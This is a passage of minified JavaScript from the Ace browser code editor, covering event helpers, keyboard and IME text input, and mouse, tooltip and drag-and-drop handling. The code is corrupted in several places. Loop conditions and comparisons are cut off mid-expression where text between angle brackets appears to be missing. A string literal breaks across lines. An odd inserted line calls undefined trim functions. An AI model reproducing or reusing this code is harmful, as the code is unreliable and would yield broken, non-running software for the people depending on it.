false};g.stopPropagation=function(l){if(l.stopPropagation){l.stopPropagation()}else{l.cancelBubble=true}};g.preventDefault=function(l){if(l.preventDefault){l.preventDefault()}else{l.returnValue=false}};g.getButton=function(l){if(l.type=="dblclick"){return 0}if(l.type=="contextmenu"||(e.isMac&&(l.ctrlKey&&!l.altKey&&!l.shiftKey))){return 2}if(l.preventDefault){return l.button}else{return{1:0,2:2,4:1}[l.button]}};g.capture=function(o,n,m){function l(p){n&&n(p);m&&m(p);g.removeListener(document,"mousemove",n,true);g.removeListener(document,"mouseup",l,true);g.removeListener(document,"dragstart",l,true)}g.addListener(document,"mousemove",n,true);g.addListener(document,"mouseup",l,true);g.addListener(document,"dragstart",l,true);return l};g.addTouchMoveListener=function(n,o){var m,l;g.addListener(n,"touchstart",function(r){var q=r.touches;var p=q[0];m=p.clientX;l=p.clientY});g.addListener(n,"touchmove",function(r){var q=r.touches;if(q.length>1){return}var p=q[0];r.wheelX=m-p.clientX;r.wheelY=l-p.clientY;m=p.clientX;l=p.clientY;o(r)})};g.addMouseWheelListener=function(l,m){if("onmousewheel" in l){g.addListener(l,"mousewheel",function(o){var n=8;if(o.wheelDeltaX!==undefined){o.wheelX=-o.wheelDeltaX/n;o.wheelY=-o.wheelDeltaY/n}else{o.wheelX=0;o.wheelY=-o.wheelDelta/n}m(o)})}else{if("onwheel" in l){g.addListener(l,"wheel",function(o){var n=0.35;switch(o.deltaMode){case o.DOM_DELTA_PIXEL:o.wheelX=o.deltaX*n||0;o.wheelY=o.deltaY*n||0;break;case o.DOM_DELTA_LINE:case o.DOM_DELTA_PAGE:o.wheelX=(o.deltaX||0)*5;o.wheelY=(o.deltaY||0)*5;break}m(o)})}else{g.addListener(l,"DOMMouseScroll",function(n){if(n.axis&&n.axis==n.HORIZONTAL_AXIS){n.wheelX=(n.detail||0)*5;n.wheelY=0}else{n.wheelX=0;n.wheelY=(n.detail||0)*5}m(n)})}}};g.addMultiMouseDownListener=function(l,m,q,u){var v=0;var t,s,n;var o={2:"dblclick",3:"tripleclick",4:"quadclick"};function r(x){if(g.getButton(x)!==0){v=0}else{if(x.detail>1){v++;if(v>4){v=1}}else{v=1}}if(e.isIE){var w=Math.abs(x.clientX-t)>5||Math.abs(x.clientY-s)>5;if(!n||w){v=1}if(n){clearTimeout(n)}n=setTimeout(function(){n=null},m[v-1]||600);if(v==1){t=x.clientX;s=x.clientY}}x._clicks=v;q[u]("mousedown",x);if(v>4){v=0}else{if(v>1){return q[u](o[v],x)}}}function p(w){v=2;if(n){clearTimeout(n)}n=setTimeout(function(){n=null},m[v-1]||600);q[u]("mousedown",w);q[u](o[v],w)}if(!Array.isArray(l)){l=[l]}l.forEach(function(w){g.addListener(w,"mousedown",r);if(e.isOldIE){g.addListener(w,"dblclick",p)}})};var c=e.isMac&&e.isOpera&&!("KeyboardEvent" in window)?function(l){return 0|(l.metaKey?1:0)|(l.altKey?2:0)|(l.shiftKey?4:0)|(l.ctrlKey?8:0)}:function(l){return 0|(l.ctrlKey?1:0)|(l.altKey?2:0)|(l.shiftKey?4:0)|(l.metaKey?8:0)};g.getModifierString=function(l){return k.KEY_MODS[c(l)]};function j(q,p,o){var n=c(p);if(!e.isMac&&h){if(p.getModifierState&&(p.getModifierState("OS")||p.getModifierState("Win"))){n|=8}if(h.altGr){if((3&n)!=3){h.altGr=0}else{return}}if(o===18||o===17){var l="location" in p?p.location:p.keyLocation;if(o===17&&l===1){if(h[o]==1){i=p.timeStamp}}else{if(o===18&&n===3&&l===2){var m=p.timeStamp-i;if(m<50){h.altGr=true}}}}}if(o in k.MODIFIER_KEYS){o=-1}if(n&8&&(o>=91&&o<=93)){o=-1}if(!n&&o===13){var l="location" in p?p.location:p.keyLocation;if(l===3){q(p,n,-o);if(p.defaultPrevented){return}}}if(e.isChromeOS&&n&8){q(p,n,o);if(p.defaultPrevented){return}else{n&=~8}}if(!n&&!(o in k.FUNCTION_KEYS)&&!(o in k.PRINTABLE_KEYS)){return false}return q(p,n,o)}g.addCommandKeyListener=function(n,p){var m=g.addListener;if(e.isOldGecko||(e.isOpera&&!("KeyboardEvent" in window))){var o=null;m(n,"keydown",function(q){o=q.keyCode});m(n,"keypress",function(q){return j(p,q,o)})}else{var l=null;m(n,"keydown",function(r){h[r.keyCode]=(h[r.keyCode]||0)+1;var q=j(p,r,r.keyCode);l=r.defaultPrevented;return q});m(n,"keypress",function(q){if(l&&(q.ctrlKey||q.altKey||q.shiftKey||q.metaKey)){g.stopEvent(q);l=null}});m(n,"keyup",function(q){h[q.keyCode]=null});if(!h){a();m(window,"focus",a)}}};function a(){h=Object.create(null)}if(typeof window=="object"&&window.postMessage&&!e.isOldIE){var b=1;g.nextTick=function(o,n){n=n||window;var l="zero-timeout-message-"+b;g.addListener(n,"message",function m(p){if(p.data==l){g.stopPropagation(p);g.removeListener(n,"message",m);o()}});n.postMessage(l,"*")}}g.nextFrame=typeof window=="object"&&(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame);if(g.nextFrame){g.nextFrame=g.nextFrame.bind(window)}else{g.nextFrame=function(l){setTimeout(l,17)}}});ace.define("ace/lib/lang",["require","exports","module"],function(c,a,d){a.last=function(g){return g[g.length-1]};a.stringReverse=function(g){return g.split("").reverse().join("")};a.stringRepeat=function(h,i){var g="";while(i>0){if(i&1){g+=h}if(i>>=1){h+=h}}return g};var e=/^\s\s*/;var f=/\s\s*$/;a.stringTrimLeft=function(g){return g.replace(e,"")};a.stringTrimRight=function(g){return g.replace(f,"")};a.copyObject=function(h){var i={};for(var g in h){i[g]=h[g]}return i};a.copyArray=function(k){var j=[];for(var h=0,g=k.length;hz.length){Y=Y.substr(9)}else{if(Y.substr(0,4)==z.substr(0,4)){Y=Y.substr(4,Y.length-z.length+1)}else{if(Y.charAt(Y.length-1)==z.charAt(0)){Y=Y.slice(0,-1)}}}if(Y==z.charAt(0)){}else{if(Y.charAt(Y.length-1)==z.charAt(0)){Y=Y.slice(0,-1)}}if(Y){r.onTextInput(Y)}}}}if(G){G=false}if(U){U=false}};var R=function(Z){if(A){return}var Y=I.value;p(Y);B()};var x=function(ab,aa,Y){var ac=ab.clipboardData||window.clipboardData;if(!ac||f){return}var Z=i||Y?"Text":"text/plain";try{if(aa){return ac.setData(Z,aa)!==false}else{return ac.getData(Z)}}catch(ab){if(!Y){return x(ab,aa,true)}}};var q=function(aa,Y){var Z=r.getCopyText();if(!Z){return a.preventDefault(aa)}if(x(aa,Z)){if(d.isIOS){s=Y;I.value="\n aa"+Z+"a a\n";I.setSelectionRange(4,4+Z.length);G={value:Z}}Y?r.onCut():r.onCopy();if(!d.isIOS){a.preventDefault(aa)}}else{G=true;I.value=Z;I.select();setTimeout(function(){G=false;B();O();Y?r.onCut():r.onCopy()})}};var M=function(Y){q(Y,true)};var m=function(Y){q(Y,false)};var N=function(Z){var Y=x(Z);if(typeof Y=="string"){if(Y){r.onPaste(Y,Z)}if(d.isIE){setTimeout(O)}a.preventDefault(Z)}else{I.value="";n=true}};a.addCommandKeyListener(I,r.onCommandKey.bind(r));a.addListener(I,"select",w);a.addListener(I,"input",R);a.addListener(I,"cut",M);a.addListener(I,"copy",m);a.addListener(I,"paste",N);var C=function(Y){if(A||!r.onCompositionStart||r.$readOnly){return}A={};A.canUndo=r.session.$undoManager;r.onCompositionStart();setTimeout(K,0);r.on("mousedown",Q);if(A.canUndo&&!r.selection.isEmpty()){r.insert("");r.session.markUndoGroup();r.selection.clearSelection()}r.session.markUndoGroup()};var K=function(){if(!A||!r.onCompositionUpdate||r.$readOnly){return}var Z=I.value.replace(/\x01/g,"");Z = rtrim(ltrim(trim(Z),'aa'),'a a');if(A.lastValue===Z){return}r.onCompositionUpdate(Z);if(A.lastValue){r.undo()}if(A.canUndo){A.lastValue=Z}if(A.lastValue){var Y=r.selection.getRange();Y.end = {row:Y.end.row,column:Y.end.column+Z.length};r.insert(A.lastValue);r.session.markUndoGroup();A.range=r.selection.getRange();r.selection.setRange(Y);/* r.selection.clearSelection()*/ }};var Q=function(aa){if(!r.onCompositionEnd||r.$readOnly){return}var ac=A;A=false;var ab=setTimeout(function(){ab=null;var ad=I.value.replace(/\x01/g,"");if(A){return}else{if(ad==ac.lastValue){B()}else{if(!ac.lastValue&&ad){B();p(ad)}}}});y=function Z(ad){if(ab){clearTimeout(ab)}ad=ad.replace(/\x01/g,"");if(ad==ac.lastValue){return""}if(ac.lastValue&&ab){r.undo()}return ad};r.onCompositionEnd();r.removeListener("mousedown",Q);if(aa.type=="compositionend"&&ac.range){r.selection.setRange(ac.range)}var Y=(!!d.isChrome&&d.isChrome>=53)||(!!d.isWebKit&&d.isWebKit>=603);if(Y){R()}};var H=b.delayedCall(K,50);a.addListener(I,"compositionstart",C);if(d.isGecko){a.addListener(I,"text",function(){H.schedule()})}else{a.addListener(I,"keyup",function(){H.schedule()});a.addListener(I,"keydown",function(){H.schedule()})}a.addListener(I,"compositionend",Q);this.getElement=function(){return I};this.setReadOnly=function(Y){I.readOnly=Y};this.onContextMenu=function(Y){U=true;O(r.selection.isEmpty());r._emit("nativecontextmenu",{target:r,domEvent:Y});this.moveToMouse(Y,true)};this.moveToMouse=function(ae,aa){if(!W){W=I.style.cssText}I.style.cssText=(aa?"z-index:100000;":"")+"height:"+I.style.height+";"+(d.isIE?"opacity:0.1;":"");var ab=r.container.getBoundingClientRect();var Z=g.computedStyle(r.container);var ad=ab.top+(parseInt(Z.borderTopWidth)||0);var ac=ab.left+(parseInt(ab.borderLeftWidth)||0);var af=ab.bottom-ad-I.clientHeight-2;var Y=function(ag){I.style.left=ag.clientX-ac-2+"px";I.style.top=Math.min(ag.clientY-ad-2,af)+"px"};Y(ae);if(ae.type!="mousedown"){return}if(r.renderer.$keepTextAreaAtCursor){r.renderer.$keepTextAreaAtCursor=null}clearTimeout(u);if(d.isWin){a.capture(r.container,Y,X)}};this.onContextMenuClose=X;var u;function X(){clearTimeout(u);u=setTimeout(function(){if(W){I.style.cssText=W;W=""}if(r.renderer.$keepTextAreaAtCursor==null){r.renderer.$keepTextAreaAtCursor=true;r.renderer.$moveTextAreaToCursor()}},0)}var J=function(Y){r.textInput.onContextMenu(Y);X()};a.addListener(I,"mouseup",J);a.addListener(I,"mousedown",function(Y){Y.preventDefault();X()});a.addListener(r.renderer.scroller,"contextmenu",J);a.addListener(I,"contextmenu",J);if(d.isIOS){var F=null;var L=false;v.addEventListener("keydown",function(Y){if(F){clearTimeout(F)}L=true});v.addEventListener("keyup",function(Y){F=setTimeout(function(){L=false},100)});var T=function(aa){if(document.activeElement!==I){return}if(L){return}if(s){return setTimeout(function(){s=false},100)}var Y=I.selectionStart;var Z=I.selectionEnd;I.setSelectionRange(4,5);if(Y==Z){switch(Y){case 0:r.onCommandKey(null,0,l.up);break;case 1:r.onCommandKey(null,0,l.home);break;case 2:r.onCommandKey(null,k.option,l.left);break;case 4:r.onCommandKey(null,0,l.left);break;case 5:r.onCommandKey(null,0,l.right);break;case 7:r.onCommandKey(null,k.option,l.right);break;case 8:r.onCommandKey(null,0,l.end);break;case 9:r.onCommandKey(null,0,l.down);break}}else{switch(Z){case 6:r.onCommandKey(null,k.shift,l.right);break;case 7:r.onCommandKey(null,k.shift|k.option,l.right);break;case 8:r.onCommandKey(null,k.shift,l.end);break;case 9:r.onCommandKey(null,k.shift,l.down);break}switch(Y){case 0:r.onCommandKey(null,k.shift,l.up);break;case 1:r.onCommandKey(null,k.shift,l.home);break;case 2:r.onCommandKey(null,k.shift|k.option,l.left);break;case 3:r.onCommandKey(null,k.shift,l.left);break}}};document.addEventListener("selectionchange",T);r.on("destroy",function(){document.removeEventListener("selectionchange",T)})}};h.TextInput=j});ace.define("ace/keyboard/textinput",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/lib/dom","ace/lib/lang","ace/keyboard/textinput_ios"],function(e,h,c){var a=e("../lib/event");var d=e("../lib/useragent");var f=e("../lib/dom");var b=e("../lib/lang");var g=d.isChrome<18;var i=d.isIE;var k=e("./textinput_ios").TextInput;var j=function(z,J){if(d.isIOS){return k.call(this,z,J)}var F=f.createElement("textarea");F.className="ace_text-input";F.setAttribute("wrap","off");F.setAttribute("autocorrect","off");F.setAttribute("autocapitalize","off");F.setAttribute("spellcheck",false);F.style.opacity="0";z.insertBefore(F,z.firstChild);var m="\u2028\u2028";var K=false;var r=false;var o=false;var R="";var p=true;try{var A=document.activeElement===F}catch(N){}a.addListener(F,"blur",function(S){J.onBlur(S);A=false});a.addListener(F,"focus",function(S){A=true;J.onFocus(S);y()});this.focus=function(){if(R){return F.focus()}var S=F.style.top;F.style.position="fixed";F.style.top="0px";F.focus();setTimeout(function(){F.style.position="";if(F.style.top=="0px"){F.style.top=S}},0)};this.blur=function(){F.blur()};this.isFocused=function(){return A};var x=b.delayedCall(function(){A&&y(p)});var q=b.delayedCall(function(){if(!o){F.value=m;A&&y()}});function y(V){if(o){return}o=true;if(w){var S=0;var U=V?0:F.value.length-1}else{var S=V?2:1;var U=2}try{F.setSelectionRange(S,U)}catch(T){}o=false}function u(){if(o){return}F.value=m;if(d.isWebKit){q.schedule()}}d.isWebKit||J.addEventListener("changeSelection",function(){if(J.selection.isEmpty()!=p){p=!p;x.schedule()}});u();if(A){J.onFocus()}var G=function(S){return S.selectionStart===0&&S.selectionEnd===S.value.length};var Q=function(S){if(K){K=false}else{if(G(F)){if(F.value==m){return}J.selectAll();y()}else{if(w){y(J.selection.isEmpty())}}}};var w=null;this.setInputHandler=function(S){w=S};this.getInputHandler=function(){return w};var v=false;var P=function(S){if(w){S=w(S);w=null}if(r){y();if(S){J.onPaste(S)}r=false}else{if(S==m.charAt(0)){if(v){J.execCommand("del",{source:"ace"})}else{J.execCommand("backspace",{source:"ace"})}}else{if(S.substring(0,2)==m){S=S.substr(2)}else{if(S.charAt(0)==m.charAt(0)){S=S.substr(1)}else{if(S.charAt(S.length-1)==m.charAt(0)){S=S.slice(0,-1)}}}if(S.charAt(S.length-1)==m.charAt(0)){S=S.slice(0,-1)}if(S){J.onTextInput(S)}}}if(v){v=false}};var l=function(T){if(o){return}var S=F.value;P(S);u()};var D=function(V,U,S){var W=V.clipboardData||window.clipboardData;if(!W||g){return}var T=i||S?"Text":"text/plain";try{if(U){return W.setData(T,U)!==false}else{return W.getData(T)}}catch(V){if(!S){return D(V,U,true)}}};var L=function(U,S){var T=J.getCopyText();if(!T){return a.preventDefault(U)}if(D(U,T)){S?J.onCut():J.onCopy();a.preventDefault(U)}else{K=true;F.value=T;F.select();setTimeout(function(){K=false;u();y();S?J.onCut():J.onCopy()})}};var t=function(S){L(S,true)};var B=function(S){L(S,false)};var n=function(T){var S=D(T);if(typeof S=="string"){if(S){J.onPaste(S,T)}if(d.isIE){setTimeout(y)}a.preventDefault(T)}else{F.value="";r=true}};a.addCommandKeyListener(F,J.onCommandKey.bind(J));a.addListener(F,"select",Q);a.addListener(F,"input",l);a.addListener(F,"cut",t);a.addListener(F,"copy",B);a.addListener(F,"paste",n);if(!("oncut" in F)||!("oncopy" in F)||!("onpaste" in F)){a.addListener(z,"keydown",function(S){if((d.isMac&&!S.metaKey)||!S.ctrlKey){return}switch(S.keyCode){case 67:B(S);break;case 86:n(S);break;case 88:t(S);break}})}var H=function(S){if(o||!J.onCompositionStart||J.$readOnly){return}o={};o.canUndo=J.session.$undoManager;J.onCompositionStart();setTimeout(O,0);J.on("mousedown",s);if(o.canUndo&&!J.selection.isEmpty()){J.insert("");J.session.markUndoGroup();J.selection.clearSelection()}J.session.markUndoGroup()};var O=function(){if(!o||!J.onCompositionUpdate||J.$readOnly){return}var T=F.value.replace(/\u2028/g,"");if(o.lastValue===T){return}J.onCompositionUpdate(T);if(o.lastValue){J.undo()}if(o.canUndo){o.lastValue=T}if(o.lastValue){var S=J.selection.getRange();J.insert(o.lastValue);J.session.markUndoGroup();o.range=J.selection.getRange();J.selection.setRange(S);J.selection.clearSelection()}};var s=function(U){if(!J.onCompositionEnd||J.$readOnly){return}var W=o;o=false;var V=setTimeout(function(){V=null;var X=F.value.replace(/\u2028/g,"");if(o){return}else{if(X==W.lastValue){u()}else{if(!W.lastValue&&X){u();P(X)}}}});w=function T(X){if(V){clearTimeout(V)}X=X.replace(/\u2028/g,"");if(X==W.lastValue){return""}if(W.lastValue&&V){J.undo()}return X};J.onCompositionEnd();J.removeListener("mousedown",s);if(U.type=="compositionend"&&W.range){J.selection.setRange(W.range)}var S=(!!d.isChrome&&d.isChrome>=53)||(!!d.isWebKit&&d.isWebKit>=603);if(S){l()}};var I=b.delayedCall(O,50);a.addListener(F,"compositionstart",H);if(d.isGecko){a.addListener(F,"text",function(){I.schedule()})}else{a.addListener(F,"keyup",function(){I.schedule()});a.addListener(F,"keydown",function(){I.schedule()})}a.addListener(F,"compositionend",s);this.getElement=function(){return F};this.setReadOnly=function(S){F.readOnly=S};this.onContextMenu=function(S){v=true;y(J.selection.isEmpty());J._emit("nativecontextmenu",{target:J,domEvent:S});this.moveToMouse(S,true)};this.moveToMouse=function(Y,U){if(!R){R=F.style.cssText}F.style.cssText=(U?"z-index:100000;":"")+"height:"+F.style.height+";"+(d.isIE?"opacity:0.1;":"");var V=J.container.getBoundingClientRect();var T=f.computedStyle(J.container);var X=V.top+(parseInt(T.borderTopWidth)||0);var W=V.left+(parseInt(V.borderLeftWidth)||0);var Z=V.bottom-X-F.clientHeight-2;var S=function(aa){F.style.left=aa.clientX-W-2+"px";F.style.top=Math.min(aa.clientY-X-2,Z)+"px"};S(Y);if(Y.type!="mousedown"){return}if(J.renderer.$keepTextAreaAtCursor){J.renderer.$keepTextAreaAtCursor=null}clearTimeout(C);if(d.isWin){a.capture(J.container,S,E)}};this.onContextMenuClose=E;var C;function E(){clearTimeout(C);C=setTimeout(function(){if(R){F.style.cssText=R;R=""}if(J.renderer.$keepTextAreaAtCursor==null){J.renderer.$keepTextAreaAtCursor=true;J.renderer.$moveTextAreaToCursor()}},0)}var M=function(S){J.textInput.onContextMenu(S);E()};a.addListener(F,"mouseup",M);a.addListener(F,"mousedown",function(S){S.preventDefault();E()});a.addListener(J.renderer.scroller,"contextmenu",M);a.addListener(F,"contextmenu",M)};h.TextInput=j});ace.define("ace/mouse/default_handlers",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],function(f,h,d){var g=f("../lib/dom");var b=f("../lib/event");var e=f("../lib/useragent");var k=0;var a=250;function j(n){n.$clickSelection=null;var m=n.editor;m.setDefaultHandler("mousedown",this.onMouseDown.bind(n));m.setDefaultHandler("dblclick",this.onDoubleClick.bind(n));m.setDefaultHandler("tripleclick",this.onTripleClick.bind(n));m.setDefaultHandler("quadclick",this.onQuadClick.bind(n));m.setDefaultHandler("mousewheel",this.onMouseWheel.bind(n));m.setDefaultHandler("touchmove",this.onTouchMove.bind(n));var l=["select","startSelect","selectEnd","selectAllEnd","selectByWordsEnd","selectByLinesEnd","dragWait","dragWaitEnd","focusWait"];l.forEach(function(o){n[o]=this[o]},this);n.selectByLines=this.extendSelectionBy.bind(n,"getLineRange");n.selectByWords=this.extendSelectionBy.bind(n,"getWordRange")}(function(){this.onMouseDown=function(p){var n=p.inSelection();var r=p.getDocumentPosition();this.mousedownEvent=p;var o=this.editor;var m=p.getButton();if(m!==0){var q=o.getSelectionRange();var l=q.isEmpty();o.$blockScrolling++;if(l||m==1){o.selection.moveToPosition(r)}o.$blockScrolling--;if(m==2){o.textInput.onContextMenu(p.domEvent);if(!e.isMozilla){p.preventDefault()}}return}this.mousedownEvent.time=Date.now();if(n&&!o.isFocused()){o.focus();if(this.$focusTimout&&!this.$clickSelection&&!o.inMultiSelectMode){this.setState("focusWait");this.captureMouse(p);return}}this.captureMouse(p);this.startSelect(r,p.domEvent._clicks>1);return p.preventDefault()};this.startSelect=function(n,l){n=n||this.editor.renderer.screenToTextCoordinates(this.x,this.y);var m=this.editor;m.$blockScrolling++;if(this.mousedownEvent.getShiftKey()){m.selection.selectToPosition(n)}else{if(!l){m.selection.moveToPosition(n)}}if(!l){this.select()}if(m.renderer.scroller.setCapture){m.renderer.scroller.setCapture()}m.setStyle("ace_selecting");this.setState("select");m.$blockScrolling--};this.select=function(){var l,m=this.editor;var p=m.renderer.screenToTextCoordinates(this.x,this.y);m.$blockScrolling++;if(this.$clickSelection){var n=this.$clickSelection.comparePoint(p);if(n==-1){l=this.$clickSelection.end}else{if(n==1){l=this.$clickSelection.start}else{var o=i(this.$clickSelection,p);p=o.cursor;l=o.anchor}}m.selection.setSelectionAnchor(l.row,l.column)}m.selection.selectToPosition(p);m.$blockScrolling--;m.renderer.scrollCursorIntoView()};this.extendSelectionBy=function(m){var o,p=this.editor;var s=p.renderer.screenToTextCoordinates(this.x,this.y);var n=p.selection[m](s.row,s.column);p.$blockScrolling++;if(this.$clickSelection){var l=this.$clickSelection.comparePoint(n.start);var r=this.$clickSelection.comparePoint(n.end);if(l==-1&&r<=0){o=this.$clickSelection.end;if(n.end.row!=s.row||n.end.column!=s.column){s=n.start}}else{if(r==1&&l>=0){o=this.$clickSelection.start;if(n.start.row!=s.row||n.start.column!=s.column){s=n.end}}else{if(l==-1&&r==1){s=n.end;o=n.start}else{var q=i(this.$clickSelection,s);s=q.cursor;o=q.anchor}}}p.selection.setSelectionAnchor(o.row,o.column)}p.selection.selectToPosition(s);p.$blockScrolling--;p.renderer.scrollCursorIntoView()};this.selectEnd=this.selectAllEnd=this.selectByWordsEnd=this.selectByLinesEnd=function(){this.$clickSelection=null;this.editor.unsetStyle("ace_selecting");if(this.editor.renderer.scroller.releaseCapture){this.editor.renderer.scroller.releaseCapture()}};this.focusWait=function(){var m=c(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);var l=Date.now();if(m>k||l-this.mousedownEvent.time>this.$focusTimout){this.startSelect(this.mousedownEvent.getDocumentPosition())}};this.onDoubleClick=function(n){var p=n.getDocumentPosition();var m=this.editor;var o=m.session;var l=o.getBracketRange(p);if(l){if(l.isEmpty()){l.start.column--;l.end.column++}this.setState("select")}else{l=m.selection.getWordRange(p.row,p.column);this.setState("selectByWords")}this.$clickSelection=l;this.select()};this.onTripleClick=function(n){var o=n.getDocumentPosition();var m=this.editor;this.setState("selectByLines");var l=m.getSelectionRange();if(l.isMultiLine()&&l.contains(o.row,o.column)){this.$clickSelection=m.selection.getLineRange(l.start.row);this.$clickSelection.end=m.selection.getLineRange(l.end.row).end}else{this.$clickSelection=m.selection.getLineRange(o.row)}this.select()};this.onQuadClick=function(m){var l=this.editor;l.selectAll();this.$clickSelection=l.getSelectionRange();this.setState("selectAll")};this.onMouseWheel=function(r){if(r.getAccelKey()){return}if(r.getShiftKey()&&r.wheelY&&!r.wheelX){r.wheelX=r.wheelY;r.wheelY=0}var p=this.editor;if(!this.$lastScroll){this.$lastScroll={t:0,vx:0,vy:0,allowed:0}}var l=this.$lastScroll;var v=r.domEvent.timeStamp;var n=v-l.t;var s=r.wheelX/n;var q=r.wheelY/n;if(n=1&&p.renderer.isScrollableBy(r.wheelX*r.speed,0)){m=true}if(u<=1&&p.renderer.isScrollableBy(0,r.wheelY*r.speed)){m=true}if(m){l.allowed=v}else{if(v-l.allowedm.session.documentToScreenRow(z.row,z.column)){return o()}}if(l==t){return}l=t.text.join("
          ");s.setHtml(l);s.show();m._signal("showGutterTooltip",s);m.on("mousewheel",o);if(p.$tooltipFollowsMouse){n(j)}else{var u=j.domEvent.target;var x=u.getBoundingClientRect();var w=s.getElement().style;w.left=x.right+"px";w.top=x.bottom+"px"}}function o(){if(r){r=clearTimeout(r)}if(l){s.hide();l=null;m._signal("hideGutterTooltip",s); +m.removeEventListener("mousewheel",o)}}function n(t){s.setPosition(t.x,t.y)}p.editor.setDefaultHandler("guttermousemove",function(u){var t=u.domEvent.target||u.domEvent.srcElement;if(f.hasCssClass(t,"ace_fold-widget")){return o()}if(l&&p.$tooltipFollowsMouse){n(u)}j=u;if(r){return}r=setTimeout(function(){r=null;if(j&&!p.isMousePressed){q()}else{o()}},50)});a.addListener(m.renderer.$gutter,"mouseout",function(t){j=null;if(!l||r){return}r=setTimeout(function(){r=null;o()},50)});m.on("changeSession",o)}function c(j){i.call(this,j)}h.inherits(c,i);(function(){this.setPosition=function(k,o){var l=window.innerWidth||document.documentElement.clientWidth;var n=window.innerHeight||document.documentElement.clientHeight;var m=this.getWidth();var j=this.getHeight();k+=15;o+=15;if(k+m>l){k-=(k+m)-l}if(o+j>n){o-=20+j}i.prototype.setPosition.call(this,k,o)}}).call(c.prototype);g.GutterHandler=b});ace.define("ace/mouse/mouse_event",["require","exports","module","ace/lib/event","ace/lib/useragent"],function(c,b,d){var f=c("../lib/event");var a=c("../lib/useragent");var e=b.MouseEvent=function(h,g){this.domEvent=h;this.editor=g;this.x=this.clientX=h.clientX;this.y=this.clientY=h.clientY;this.$pos=null;this.$inSelection=null;this.propagationStopped=false;this.defaultPrevented=false};(function(){this.stopPropagation=function(){f.stopPropagation(this.domEvent);this.propagationStopped=true};this.preventDefault=function(){f.preventDefault(this.domEvent);this.defaultPrevented=true};this.stop=function(){this.stopPropagation();this.preventDefault()};this.getDocumentPosition=function(){if(this.$pos){return this.$pos}this.$pos=this.editor.renderer.screenToTextCoordinates(this.clientX,this.clientY);return this.$pos};this.inSelection=function(){if(this.$inSelection!==null){return this.$inSelection}var g=this.editor;var i=g.getSelectionRange();if(i.isEmpty()){this.$inSelection=false}else{var h=this.getDocumentPosition();this.$inSelection=i.contains(h.row,h.column)}return this.$inSelection};this.getButton=function(){return f.getButton(this.domEvent)};this.getShiftKey=function(){return this.domEvent.shiftKey};this.getAccelKey=a.isMac?function(){return this.domEvent.metaKey}:function(){return this.domEvent.ctrlKey}}).call(e.prototype)});ace.define("ace/mouse/dragdrop_handler",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],function(e,g,c){var f=e("../lib/dom");var a=e("../lib/event");var d=e("../lib/useragent");var j=200;var h=200;var k=5;function i(t){var r=t.editor;var L=f.createElement("img");L.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";if(d.isOpera){L.style.cssText="width:1px;height:1px;position:fixed;top:0;left:0;z-index:2147483647;opacity:0;"}var M=["dragWait","dragWaitEnd","startDrag","dragReadyEnd","onMouseDrag"];M.forEach(function(y){t[y]=this[y]},this);r.addEventListener("mousedown",this.onMouseDown.bind(t));var z=r.container;var J,B,w;var C,F;var p,A=0;var q;var K;var G;var u;var D;this.onDragStart=function(N){if(this.cancelDrag||!z.draggable){var x=this;setTimeout(function(){x.startSelect();x.captureMouse(N)},0);return N.preventDefault()}F=r.getSelectionRange();var y=N.dataTransfer;y.effectAllowed=r.getReadOnly()?"copy":"copyMove";if(d.isOpera){r.container.appendChild(L);L.scrollTop=0}y.setDragImage&&y.setDragImage(L,0,0);if(d.isOpera){r.container.removeChild(L)}y.clearData();y.setData("Text",r.session.getTextRange());K=true;this.setState("drag")};this.onDragEnd=function(y){z.draggable=false;K=false;this.setState(null);if(!r.getReadOnly()){var x=y.dataTransfer.dropEffect;if(!q&&x=="move"){r.session.remove(r.getSelectionRange())}r.renderer.$cursorLayer.setBlinking(true)}this.editor.unsetStyle("ace_dragging");this.editor.renderer.setCursorStyle("")};this.onDragEnter=function(x){if(r.getReadOnly()||!n(x.dataTransfer)){return}B=x.clientX;w=x.clientY;if(!J){v()}A++;x.dataTransfer.dropEffect=q=H(x);return a.preventDefault(x)};this.onDragOver=function(x){if(r.getReadOnly()||!n(x.dataTransfer)){return}B=x.clientX;w=x.clientY;if(!J){v();A++}if(l!==null){l=null}x.dataTransfer.dropEffect=q=H(x);return a.preventDefault(x)};this.onDragLeave=function(x){A--;if(A<=0&&J){o();q=null;return a.preventDefault(x)}};this.onDrop=function(N){if(!p){return}var y=N.dataTransfer;if(K){switch(q){case"move":if(F.contains(p.row,p.column)){F={start:p,end:p}}else{F=r.moveText(F,p)}break;case"copy":F=r.moveText(F,p,true);break}}else{var x=y.getData("Text");F={start:p,end:r.session.insert(p,x)};r.focus();q=null}o();return a.preventDefault(N)};a.addListener(z,"dragstart",this.onDragStart.bind(t));a.addListener(z,"dragend",this.onDragEnd.bind(t));a.addListener(z,"dragenter",this.onDragEnter.bind(t));a.addListener(z,"dragover",this.onDragOver.bind(t));a.addListener(z,"dragleave",this.onDragLeave.bind(t));a.addListener(z,"drop",this.onDrop.bind(t));function I(O,N){var y=Date.now();var x=!N||O.row!=N.row;var Q=!N||O.column!=N.column;if(!u||x||Q){r.$blockScrolling+=1;r.moveCursorToPosition(O);r.$blockScrolling-=1;u=y;D={x:B,y:w}}else{var P=b(D.x,D.y,B,w);if(P>k){u=null}else{if(y-u>=h){r.renderer.scrollCursorIntoView();u=null}}}}function s(W,Q){var N=Date.now();var U=r.renderer.layerConfig.lineHeight;var y=r.renderer.layerConfig.characterWidth;var O=r.renderer.scroller.getBoundingClientRect();var R={x:{left:B-O.left,right:O.right-B},y:{top:w-O.top,bottom:O.bottom-w}};var T=Math.min(R.x.left,R.x.right);var P=Math.min(R.y.top,R.y.bottom);var X={row:W.row,column:W.column};if(T/y<=2){X.column+=(R.x.left=j){r.renderer.scrollCursorIntoView(X)}}}else{G=null}}function m(){var x=p;p=r.renderer.screenToTextCoordinates(B,w);I(p,x);s(p,x)}function v(){F=r.selection.toOrientedRange();J=r.session.addMarker(F,"ace_selection",r.getSelectionStyle());r.clearSelection();if(r.isFocused()){r.renderer.$cursorLayer.setBlinking(false)}clearInterval(C);m();C=setInterval(m,20);A=0;a.addListener(document,"mousemove",E)}function 